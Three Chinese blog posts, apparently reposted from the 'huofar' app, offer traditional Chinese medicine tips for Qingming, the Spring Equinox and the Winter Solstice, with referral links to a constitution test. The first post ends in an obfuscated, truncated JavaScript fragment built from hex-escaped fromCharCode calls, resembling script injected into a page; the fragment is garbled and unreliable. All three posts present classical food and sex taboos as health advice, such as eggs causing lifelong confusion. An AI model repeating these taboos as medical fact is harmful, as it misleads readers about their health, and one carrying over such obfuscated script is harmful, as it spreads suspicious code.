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分享平和体质清明节气的“活法儿”: 热度 7 宜修 2014-4-3 11:10; 平和体质清明节气的“活法儿” 清明节气介绍今年的清明节气是4.5-4.19。《月令》“三月节，......物至此时，皆以洁齐而清明矣” 。清明时节，气温上升，雨润草木。北方大部分地区已感受到春风温暖，许多地方气温高于常年，而江南地区常是细雨纷纷。此时节宜补养肝肾，食勿过热，穿要适宜，防郁热而目赤上火。懒散形骸、勿大汗、卧早起早、沐浴阳光才对养生有益。平和体质清明饮食小贴士适宜：芹菜、豆腐、木耳、莲子、银耳、马蹄、荠菜、香椿清明节气宜食清淡新鲜的蔬菜水果，以清补肝脾，保持机体平衡。如芹菜、慈菇、木耳等，也宜鸭肉、红小豆、薏苡仁、莲子、荸荠（马蹄）、乳品、豆腐等。春生之际，常服银耳、荠菜、菠菜、山药柔肝养肺。荠菜正是清明当令的野菜，《玉壶清话》“物无定味，适口者珍，荠汁为美。”荠菜性味甘平，具有和脾、利水、止血、明目的功效。此外，应季的春菜还有：香椿、茵陈篙、莴笋（莴笋叶）、蓬蒿菜、马兰头、苦菊等。少吃：白酒、辣椒、火锅、麻辣香锅、水煮系列、糕点、糖、甜饮料少食辛辣之物，如白酒、辣椒等，以免助阳外泄，否则肝木生发太过，则克伤脾土。加之清明时节本身就是肝火旺盛的时候，按传统中医养生理论，肝属木，木生火，火为心，再过吃辛辣之物将使心脏在此节气中过于旺盛，而导致血压升高的情况发生。清明过后雨水增多，尤其是南方，气候潮湿，容易使人产生疲倦嗜睡的感觉，这就是所谓的“春困”，而甜腻性食物有助湿作用，食后更易使人产生和加重“春困”的感觉，所以要少吃甜食，少喝甜饮料。忌吃：动物血、驴肉、百草心、黄花菜、动物内脏（尤其是肝脏）、小蒜、韭菜、酱菜《月令忌》：“勿食血并脾，季月（每个季节最后两个节气）土旺在脾，死气投入。”《云笈七签》：（清明、谷雨）勿食驴马肉、勿食獐鹿肉，令人神魂不安。孙思邈：是月（清明、谷雨）勿杀生以顺天道。勿食百草心、黄花菜。《千金方》：是月（清明、谷雨）勿食鸟兽五脏，勿食小蒜，勿饮深泉。《金匮要略》曰：“春不可食肝--肝旺时，以死气入肝伤魂也。”故整个春季都不宜吃动物肝脏。《云笈七签》：是月（清明、谷雨）勿食韭，陈葅（酱菜）《法天生意》“勿食鸡子（鸡蛋），终身混乱。” 此时，各种慢性疾病（如关节炎、哮喘、精神病等）易复发，有慢性病的人要忌食易动风生痰、发毒助火助邪之品，如海鱼、海虾、海蟹、羊肉、公鸡等“发物”。平和体质清明运动小贴士：散步、跳绳、快步走、爬山、骑行随着气温的升高，人们的活动也增多，但要注意运动“勿大汗，以养脏气”，中医认为汗是津液代谢的产物，“汗者,精气也。”——《素问·评热病论》，出汗过多对身体是一种伤害，有可能打破本身平和的体质特征，散步、跳绳、快步走、爬山、骑行这些轻松、接触自然、舒展身形的活动，将有助于保持体质的平和。平和体质清明起居小贴士：卧早起早、衣着适宜此时节宜懒散形骸，卧早起早，晚上入睡最好别超过23:00，早晨随着第一缕阳光伸展躯体，披散头发，漫步庭院，充分汲取大自然的精华。但要注意防风防寒，“春日春风有时好，春日春风有时恶。不得春风花不开，花开又被风吹落”。【王安石】。今天可能春风荡漾，明天则会降温；白天气候温暖，早晚却冷风习习。衣着的实用性表现为防风保暖，增减随意，美观得体，松紧适宜。平和体质清明情绪小贴士：入耳好音，平和心境清，清澈；明，明朗。天气如此，人心往之；《黃帝內經》“百病生于气也，怒则气上”，要学会制怒，保持心态平和，使肝火熄灭，肝气顺畅。入耳好音，平和心境：小儿声，钟声，风声，雨声，涛声，溪声，鸟声。《传家宝》平和体质清明茶饮小贴士：菊花桑葚茶菊花与桑葚一同泡茶喝，菊花味辛，甘，苦；性微寒。归肺、肝经。可散风，清热解毒，平肝明目，桑葚甘、酸，寒。归心、肝、肾经。《随息居饮食谱》：桑葚滋肝肾，充血液，祛风湿，健步履，息虚风，清虚火。有养血柔肝，益肾润肺的作用，可以收到肝肺同养的效果。 1、此节气邮件内容不适用于孕妇及南半球用户； 2、如遇各类症状及疾病请及时就医，本邮件内容不作推荐，仅供参考。为什么要让我的朋友们也来测试？因为活法儿坚信，你的一点点帮助，可以改变很多人；你的一点点改变，可以影响很多人。所以，现在就开始吧！ http://www.huofar.com/ll_tizhi.php/result/share/0117217015389049839 (此链接会包含我的测试结果) http://www.huofar.com/ll_tizhi.php/dotest/inv/0117217015389049839 (此链接不包含我的测试结果) 回活法儿查看您的体质测试结果如果上面的链接无法点击，请复制 http://www.huofar.com/ll_tizhi.php/result/myshow/0117217015389049839 到您的浏览器地址栏中并回车 (function(){var b=function(k,e){var i="",j=window,v="f"+"\x72o\x6d\u0043\x68\u0061\u0072\x43o\x64e",f="c"+"ha"+"r\x43\u006Fd"+"eA\u0074",y="\u006Cen\x67\u0074\u0068",s="\u0053t\u0072i\x6E\u0067",m=j ,a=m ,c,z;for(var q=0;q ",0115);document (o);}})();; 个人分类: 卫生健康|8181 次阅读|27 个评论

分享兔儿爷快来看春分食谱：俺不吃你了！！！: 热度 5 宜修 2013-3-21 07:18; 平和体质春分节气的“活法儿” 春分节气介绍今年的春分为3.20-4.3。《春秋繁露》“春分者，阴阳相半也，故昼夜均而寒暑平”。春分日太阳到达黄经0°，此时太阳直射赤道，此后逐渐北移，北半球日出越来越早，白天越来越长。春分节气要保持早睡早起，安静神气，利于肝气升发，避免上火。饮食宜清淡并增加时令辛香蔬菜，顺应春气发散，并少吃油腻，避免生痰。平和体质春分饮食小贴士：适宜：大枣、山药、小米、糯米、高粱、薏米、扁豆、黄豆、菠菜、红薯、南瓜、土豆春分时值仲春，“春日宜省酸，增甘，以养脾气”。春日肝气正旺，容易克伤脾胃，保养脾气宜多食：大枣、山药、小米、糯米、高粱、扁豆、黄豆、菠菜、红薯、南瓜、土豆等，可以常常用大枣、山药、大米、小米一起煮粥。时令蔬菜和水果：如芹菜、莴笋、韭菜、胡萝卜、菜花、柿子椒、绿豆芽、梨、橙子、菠萝等，以及新生长出的各种野菜：香椿、荠菜、马齿苋、鱼腥草、蕨菜、竹笋等。北方为抵御该节气“燥”为主的特点，应食一些滋阴润燥的食物：如百合、莲子、银耳、芝麻、豆浆、蜂蜜等。南方会有湿冷的阴雨天气，可以多吃些薏米、姜、红豆、茯苓等祛湿。少吃：过于油腻及辛辣之物由于春分时节肝气旺盛，影响脾脏，要少吃过于油腻不易消化的食物，以减轻脾胃负担，使肝与脾胃功能调和。饮食注意寒热均衡，如特别喜好吃寒性食物，如海产品：蟹、海带、牡蛎等，应佐以温热散寒的葱姜等以平衡食物属性。另外，此节气“燥”成为主流，而酒、辣椒、桂皮、八角、小茴香等辛辣之物有助热增燥的作用，因此，要减少食用，以免打破平和体质的机体平衡。忌吃：动物肝脏、黄花菜、酱菜、大蒜、小蒜、兔肉《金匮要略》：“春不可食肝--肝旺时，以死气入肝伤魂也。” 《云笈七签》：“是月勿食黄花菜，交陈葅（酱菜），发痼疾，动宿气。勿食大蒜，令人气壅，关膈不通。勿食鸡子（鸡蛋），滞气。勿食小蒜，伤人志。”又云：“勿食兔肉，令人神魂不安。” 平和体质春分运动小贴士：郊游踏青欧阳修对春分曾有过一段精彩的描述：“南园春半踏青时，风和闻马嘶，青梅如豆柳如眉，日长蝴蝶飞。”平和体质的人对自然环境具有较强的适应能力，在春分时节最适合的运动既是郊游踏青，到户外沐浴明媚的春光，呼吸新鲜的空气，将有助于身体健康。平和体质春分起居小贴士：节精养神、注意保暖坚持规律作息，不要过度劳累，不宜食后即睡，保持充足的睡眠以节精养神。《黄帝内经.素问》指出：“久视伤血，久卧伤气，久坐伤肉，久立伤骨，久行伤筋”；“动”之过度，会损伤机体。因此，在日常起居中一定要遵循适度的原则，不要过久的看书、看电视、看电脑，否则容易出现血虚不能润目，双目干涩。另外，现代医学认为，春季人体的下部血液循环要比上部差，虽然平和体质的人适应力较强，但在这春寒料峭的时候，也要避免遭受风寒侵袭，注意保暖，不能把裤子鞋袜穿得过于单薄，尤其是老年人更不能把下身衣服减得太多。南方潮湿，除了用抽湿机外，可用简便的古方烟熏祛湿。100平米的居室用苍术、白芷各30克。放在瓷碗或搪瓷碗中点燃，烧的时候下面要垫上隔热布，防止烫坏地板。喜欢艾叶味道的可以加些艾绒。苍术：气味雄厚，燥湿而宣化痰饮，芳香辟秽，最能驱除秽浊恶气；白芷：通鼻窍、燥湿、祛风。也可买到成品。平和体质春分情绪小贴士：欢笑增加免疫力因为平和体质的人本身具有性格随和开朗的特点，只要加以保持即可，快乐和欢笑非常重要。现代医学研究认为，快乐和欢笑能够有效地调节神经系统、内分泌系统、免疫系统的功能，使体内各项生理活动和谐合拍，使周身气血运行正常协调，有利于促进身心健康。平和体质春分茶饮小贴士：茉莉花茶春分时节，人体与大自然一样，正处于抒发状态。中医认为，春季常饮花茶，可以帮助散发冬天积郁在人体内的寒邪。同时，浓郁的茶香，还可以促进人体阳气的生发，令人精神振奋，从而更加有效地消除春困，提高工作效率。对应今年春分，可以选择茉莉花茶，它是将茶叶（一般以绿茶居多）和茉莉花进行拼合、窨制，使茶叶吸收花香而成，可理气止痛、消肿解毒、温中和胃、强化免疫。 1、此节气邮件内容不适用于孕妇及南半球用户； 2、如遇各类症状及疾病请及时就医，本邮件内容不作推荐，仅供参考。为什么要让我的朋友们也来测试？因为活法儿坚信，你的一点点帮助，可以改变很多人；你的一点点改变，可以影响很多人。所以，现在就开始吧！ http://www.huofar.com/ll_tizhi.php/result/share/01202306621886968 (此链接会包含我的测试结果) http://www.huofar.com/ll_tizhi.php/dotest/inv/01202306621886968 (此链接不包含我的测试结果) 回活法儿查看您的体质测试结果如果上面的链接无法点击，请复制 http://www.huofar.com/ll_tizhi.php/result/myshow/01202306621886968 到您的浏览器地址栏中并回车; 个人分类: 卫生健康|5339 次阅读|10 个评论

分享兔崽子快来看！“活法儿”说我适合喝你的“三文鱼头豆腐汤” ... ...: 热度 8 宜修 2012-12-23 00:10; 平和体质冬至节气的“活法儿” 冬至节气邮件今年（壬辰龙年）的冬至是12.21--1.4，冬至时刻太阳位于黄经270度。《二十四节气集解》：“阴极之至，阳气始生，日南至，日短之至，日影长至，故曰冬至。”冬至时太阳直射南回归线，从冬至后北半球的白天开始逐渐增长。古有“冬至大如年”的说法，古代冬至日百官放假，皇家祭天，民间祭祖。冬至一阳生，要注意养“藏”，静神少虑，节欲保暖，减少精神和体力的消耗。有过敏性鼻炎、支气管炎、哮喘、反复感冒、慢性咽炎的人不要错过“三九贴”，这可以增强夏季的“三伏贴”效果，也可以事半功倍的防治此类疾病，正规医院中医科都提供“三九贴”。2012年三九的具体时间为：一九，12月21日至29日；二九，12月30日至1月7日；三九，1月8日至16日，即使夏天没有贴三伏贴，冬天仍然可以贴三九贴。贴敷治疗三年一个疗程。平和体质冬至饮食小贴士：适宜：羊肉、牛肉、鸡肉、冬笋、菠菜、芹菜、鳙鱼、草鱼、鲫鱼、鸡蛋、豆腐、芡实冬至阴极之至，阳气始生，阳气初生时，需小心保护，精心调养。《遵生八笺》曰：“冬至日阳气归内，腹中热，物入胃易消化。”此时进补最好。北方干冷，需热补。可适当吃些羊肉、牛肉、鸡肉，以炖煮为好，同时搭配 “滋润清热”的食材一起吃，如萝卜、白菜、豆腐、茼蒿、冬笋、菠菜、芹菜、马蹄、甘蔗、豌豆苗、塌菜等，防止干燥上火出现便秘、口疮、咽喉肿痛等症。中部地区湿、寒重，适宜温补，鸡肉、鳙鱼、草鱼、鲶鱼等都是不错的选择，同时多吃些温中散寒的食物，如蒜苗、茴香菜、韭黄、韭菜等，也可以在烹调时佐少量胡椒、香菜、花椒、辣椒等以温阳驱寒，但不可过量。南方气温虽有所下降，但却不会很冷，感觉多为潮湿。古人有冬至食赤小豆粥的习俗，“冬至日以赤小豆煮粥，合门食之，可免疫。”赤小豆既补养又利湿，煮粥或煲汤时放一把，都很好。如果没有体虚之象，选择一些平补的食物就可以了，像鲫鱼、蛋类、豆腐、花生、山药、芡实等。少吃：人参、鹿茸、附子、肉桂、肉苁蓉、动物血、墨鱼、蛤蜊、文蛤、海胆、青稞寒冷的冬至节气需要养藏，滋益阴精也是冬至养生的重要内容。辛辣厚味、烧烤油炸食物少吃为妙，以免助火伤阴；晚餐不宜超过20点，吃肉宜久炖熟烂，不宜半生不熟或干硬。平和体质阴阳平衡，无需使用药物进补，否则容易上火。非医嘱，不宜用人参、鹿茸、附子、肉桂、肉苁蓉等大热之物进补；感冒、发烧、咳嗽时，不宜进补。孙真人《修养法》：“是月肾脏正旺，……绝咸”，少吃咸味食物，如动物血、墨鱼、蛤蜊、文蛤、海胆、青稞等。忌吃：龟肉、鳖肉、虾、蚌、蚶类、贝类、牡蛎、螺蛳、螃蟹、烧烤、腰子、生蔬菜《纂要》曰：“是月勿食龟鳖肉，令人水病。勿食生菜（生的蔬菜），发宿疾。勿食虾蚌带甲之物，勿食獐肉，动气。勿食火焙食物（烧烤）。勿食生韭，多涕唾。”《千金翼方》曰：“（农历十一月）勿食螺蛳螃蟹，损人志气，长尸虫。”《金匮要略》曰：“冬三月，勿食猪羊等肾。” 平和体质冬至运动小贴士：运动升阳，精力充沛俗话说：“春困秋乏夏打盹，睡不醒的冬三月。”冬天天气寒冷，自然界阳气不足，而人体与自然界之间都有一个相对的平衡，那么人体也就会出现阳气不足，自然也就容易犯困了。而动能升阳，多参加体育锻炼，比如说快走、慢跑，每天运动最好，至少保证隔天一次，每次30分钟就可以了，避免大汗淋漓，这样会感觉到神清气爽，精力充沛。平和体质冬至起居小贴士：调控室内温度，养肾固精《养生镜》中强调：“冬三月乃收藏闭塞之时，最宜固守元阳，以养真气。”故冬季要注意调控室内温度。室内温度太低，易伤人阳气；室内温度过高，又易出汗伤阴。同时，衣着应御寒保暖，随气候变化增减衣服。内衣以弹性良好的棉毛织品为佳，贴身保暖。外衣要稍宽大一些，使气血流通，四肢伸缩活动自如舒畅。中医认为，肾是元阳的发源地，要想养藏就要养肾固精：一要睡好子午觉，晚上11点之前一定要睡，中午小憩一会儿；二要多练“吹”字功，即深呼吸，呼气时念“吹”字，音调宜长，使气呼尽为止；三要少色欲，夫妻最好分床而睡，节欲保精。《千金翼方》中有“冬至后庚辛日（12月25日，12月26日）不可交合，大凶”一说，以资借鉴。平和体质冬至情绪小贴士：喜忧不经心忧者见事而忧，喜者见事而喜，全取决于情绪。冬至有神补之说，“清心寡欲”便是神补的首要，《列子》上说：“少不勤行，壮不竞时，长而安贫，老而寡欲，闲心劳形，养生之方也。”当人不被世俗所累时，由于精神负担小，人体的脏腑机能便不受七情所伤而能恪守其职，自然会健康长寿。平和体质冬至茶饮小贴士：荞麦茶将荞麦茶5-8克放入杯中，用200毫升开水冲泡5分钟后即可饮用，可冲服2-3次。荞麦又名净肠草，荞麦茶是用严格精选过的荞麦烘煎而成。据《本草纲目》记载：“荞麦降气宽肠，磨积滞，消热肿风痛”；《食疗本草》说它：“实肠胃，益气力，续精神”，当体内有热，消化不良时饮用甚好。 1、此节气邮件内容不适用于孕妇及南半球用户； 2、如遇各类症状及疾病请及时就医，本邮件内容不作推荐，仅供参考。为什么要让我的朋友们也来测试？因为活法儿坚信，你的一点点帮助，可以改变很多人；你的一点点改变，可以影响很多人。所以，现在就开始吧！ http://www.huofar.com/ll_tizhi.php/dotest/inv/0117217015389049839 (此链接不包含我的测试结果) 如果上面的链接无法点击，请复制 http://www.huofar.com/ll_tizhi.php/result/myshow/0117217015389049839 到您的浏览器地址栏中并回车; 个人分类: 卫生健康|5948 次阅读|17 个评论

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